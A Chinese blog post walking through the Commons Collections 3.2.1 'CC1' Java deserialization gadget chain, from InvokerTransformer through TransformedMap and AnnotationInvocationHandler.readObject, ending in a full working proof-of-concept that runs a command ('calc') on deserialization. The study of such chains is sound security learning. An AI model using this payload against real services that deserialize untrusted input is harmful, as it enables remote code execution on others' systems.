CC1

CC1!

image-20250427210201599

一.环境

  • jdk8u_65
  • maven3.2.1
  • pom.xml 添加依赖
  • 修改sun包,这样反编译的class文件就能看到源码了

二.分析

终点分析

有这么一个类InvokerTransformer它实现接口Transformer(接口Transformer它的作用主要是对传入的对象修饰,类似动态代理增强方法吧),InvokerTransformer类里面的方法transform能实现任意方法的调用(对象input的iMethodName方法),这是一个危险方法,然后就找哪个方法会调用这个危险方法

image-20250415193650264

InvokerTransformer它的构造器是public能直接用,创建对象传参就行,参数有三个,方法的名字,方法的参数类型,参数

image-20250415193802570

1
2
3
4
5
//正常使用InvokerTransformer的方法transform反射执行方法
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//有参构造器,初始化。传参确定反射执行的方法
invokerTransformer.transform(r);

阶段一分析

TransformedMap.checkSetValue.transform连接终点的invokerTransformer.transform

找到TransformedMap的checkSetValue()方法调用transform方法

image-20250414202346176


要传关键参数valueTransformer

能传参,相同类型原理分析:从构造器那看到valueTransformer与invokerTransformer是相同类型(都相当于接口Transformer类型).看构造器,知道它是要将接受进来的map的key和value操作,操作在transformer里面,不过构造器是protected的,不能直接new实例化传参

有静态方法decorate,通过它也能间接实例化传参(情况有一点点像刚学过的Unsafe调用defineClass时,它也不能直接new实例化,但Unsafe它是用反射获得一个是Unsafe对象的属性来获得实例对象)

image-20250414202833045

image-20250414204538985

decorate它把一个map的key和value装饰了,有三个参数,结合我们的目的:想要连接TransformedMap.checkSetValue.transform 与invokerTransformer.transform 要用到valueTransformer,所以就传个invokerTransformer对象就可以

所以就有下面的构造:

1
2
3
4
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

现在只要调TransformedMap的checkSetValue ,就能触发InvokerTransformer的transform了


阶段二分析

Map.Entry.setValue.checkSetValue 连接TransformedMap的checkSetValue 进而触发InvokerTransformer的transform

要调TransformedMap的方法checkSetValue

上面checkSetValue.transform(value)的value的控制还与方法的调用有关(value是Runtime类的实例化对象)

找到抽象类AbstractInputCheckedMapDecorator的静态类MapEntry 中的setValue调了checkSetValue方法,而且抽象类AbstractInputCheckedMapDecorato是 TransformedMap 的父类

恰好setValue中的parent是AbstractInputCheckedMapDecorator类型

表明:parent与TransformedMap,相当于相同类型,可以传参连接

所以这儿传参将parent赋值成TransformedMap对象,就能调到checkSetValue.InvokerTransformer.transform

image-20250415220304982

image-20250415111534344


然后要调MapEntry的setValue

遍历hashMap被修饰后的TransformedMap对象,它的键值对Map.Entry对象entry直接调setValue,就会调到静态类MapEntry的setValue然后再去调checkSetValue

1
2
3
4
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);  
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}

解释如下:

  • Map.Entry类的entry 调用MapEntry的setValue方法路径:

    • Map.Entry的实现类AbstractMapEntryDecorator是抽象类且没有实现这个方法(所以它才是抽象类的嘛),那就可以找继承了这个抽象类的类

      在AbstractInputCheckedMapDecorator中有个类MapEntry继承AbstractMapEntryDecorator重写了setValue方法

      image-20250415143721033

      继承关系:
      接口Map.Entry—->抽象类AbstractMapEntryDecorator—>实现类MapEntry

      image-20250415143912674

nonono!后面学完返回来看的时候发现这么解释根本就不能解释对parent的控制,因为我这是从上到下根据实现解释的。

应该根据JVM运行时的动态绑定解释,其实这也就是多态,声明是接口Map.Entry ,但指向的实际类型是TransformedMapEntry(在 Commons Collections 3.2.1 中,TransformedMapEntry字节码类名可能就是 AbstractInputCheckedMapDecorator$MapEntry),TransformedMapEntry它继承了MapEntry,所以遍历transformedMap.entrySet(),返回结果调setValue,会调到MapEntry.entrySet()

setValue传入的r就是checkSetValue中的r,也就是transform中的r

所以现在的构造为:

1
2
3
4
5
6
7
8
9
 Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);

}

阶段三分析

readObject里面调setValue

AnnotationInvocationHandler的readObject刚好有遍历键值对,调用setValue

memberValues在构造器中也是可控的,但这个类不是public,不能直接获取

image-20250416094042779

image-20250416094159980

反射获得对象传参

1
2
3
4
5
6
7
Class<Runtime> runtimeClass = Runtime.class;
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");

我们上面这样的操作能使得在反序列化的时候调用readObject,

执行:readObject.MapEntry.setvalue(value)—->TransformedMap.checkSetValue(value)—>InvokerTransformer.transform(value)

阶段三疑问

readObject遍历Map类transformedMap的键值对,调它的setValue,就到那个内部类MapEntry重写的setValue,它里面parent.checkSetValue,就调到TransformedMap.checkSetValue为啥parent属性就是入口类反射实例化的时候往构造器里面传的transformedMap

ai给出的答案:

image-20250417114316398

  • transformedMap.entrySet() ,返回的是 包装后的 TransformedMapEntry 对象

    TransformedMapEntry构造器是protected

1
2
3
4
5
6
7
8
9
static class TransformedMapEntry implements Map.Entry {
private final Map.Entry entry;
private final TransformedMap parent; // 持有父对象引用

protected TransformedMapEntry(Map.Entry entry, TransformedMap parent) {
this.entry = entry;
this.parent = parent; // parent 被赋值为外部的 TransformedMap 实例
}
}

但迭代器 TransformedEntryIterator 在遍历原始 Map.Entry 时,会将每个原始条目包装为 TransformedMapEntry,并 **显式传入当前 TransformedMap 实例作为 parent**:(在TransformedEntryIterator的next中赋值,使其 parent 指向了 transformedMap。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private class TransformedEntryIterator implements Iterator {
private final Iterator iterator;

public TransformedEntryIterator(Iterator iterator) {
this.iterator = iterator;
}

@Override
public Object next() {
// 获取原始 Entry,并包装为 TransformedMapEntry
Map.Entry entry = (Map.Entry) iterator.next();
// 关键点:将当前 TransformedMap 实例(this)作为 parent 传入
return new TransformedMapEntry(entry, TransformedMap.this);
}


}

所以

遍历 **entrySet() 返回包装后的 TransformedMapEntry ** 每个 TransformedMapEntry 持有 parent

当调用 TransformedMapEntry.setValue 时,会通过 parent.checkSetValue 调用的 TransformedMap.checkSetValue

问题

Q:

问题1.上面for遍历的时候说setValue中传的r,经过了TransformaedMap.checkSetValue(r),还有InvokerTransformer.transform(r),传的r是上面Runtime实例化对象r,但是Runtime不能序列化

问题2.按理说readObject中的setValue()传的应该是TransformedMap,但在这儿不好控制,还有两个if条件

image-20250416142109348

解决1.

Runtime.class Class类实现Serializable,可以序列化

Runtime它是java的单例模式,(与unsafe差不多)构造器私有,但有静态方法getRuntime返回实例化对象,

所以反射获得Runtime对象

1
2
3
4
Method getRuntime = Runtime.class.getMethod("getRuntime", null);
Runtime r= (Runtime)getRuntime.invoke(null, null);
Method exec = Runtime.class.getMethod("exec", String.class);
exec.invoke(r, "calc");

换成InvokerTransformerd的写法:

  • 这里犯了一个错误,直接想new 的时候传getRuntime,这肯定是不行的,这样transform()里面的参数就得是Runtime实例化对象,那不就还是回到这个不能序列化问题,就还没解决这个问题嘛

所以这儿就是利用这个危险方法transform先调getMethod,再调invoke,反射得到实例化对象再调exec

1
2
3
4
5
6
7
8
9
10
11
Method getRuntime1 = (Method)new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
//相当于Method getRuntime = Runtime.class.getMethod("getRuntime", null);

Runtime r= (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime1);
//相当于Runtime r= (Runtime)getRuntime.invoke(null, null);


new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//相当于
//Method exec = Runtime.class.getMethod("exec", String.class)
//exec.invoke(r, "calc");
  • 注意 getMethod方法的第二个参数是Class数组

    1
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),

    image-20250418193232618

观察上面的发现,它是循环调用了transform方法,下一个调上一个返回的结果

ChainedTransformer类中的transform就能实现这个功能,构造器里面传数组Transformer它来调transform()

image-20250416193209756

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

这就解决了Runtime不能序列化的问题

所以现在的链为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);


HashMap map = new HashMap();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);


Class<Runtime> runtimeClass = Runtime.class;
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");

但现在readObject中TransformedMap调setValue() 括号中的还没传参(Runtime.class),那两个if判断也还没解决

解决2.

先分析readObject中

memberTypes:注解的成员变量

name:TransfomerMap的key

memberType:注解的成员变量且还是key

memberType不为空才会走进想要的

所以让memberType不为空:
往AnnotationInvocationHandler构造器传参实例化的时候就传有成员变量的注解,且map的key也要是注解的成员变量

改一下这两处

1
2
map.put("value", "value");
Object o = constructor.newInstance(Target.class, transformedMap);

传Runtime.class

现在过了两个if来到了setValue(),它括号里面new的这个就是我们要传的Runtime.class (先前InvokerTransformer.transform(r) ),现在chainedTransformer.transform(Runtime.class)

image-20250416205704812

new的这个不可控,就不在这传了,就用它本来的这样

ConstantTransformer它的transform方法接受啥就返回啥,与input没有关系,把它直接放到数组transformers中,就返回Runtime.class,开启调用后面的transform

image-20250416211332023

三.完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CC1Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize (Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize (String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}




CC1

TransformedMap:

AnnotationInvocationHandler.readObject. memberValue.setValue

​ MapEntry.setValue.parent.checkSetValue

​ TransformedMap.checkSetValue.valueTransform.transform

​ ChainedTransformed.transform

​ ConstantTransformer.tansform

​ InvokerTransformer.tansform


CC1
https://bxhhf.github.io/2025/04/17/CC1/
作者
bxhhf
发布于
2025年4月17日
许可协议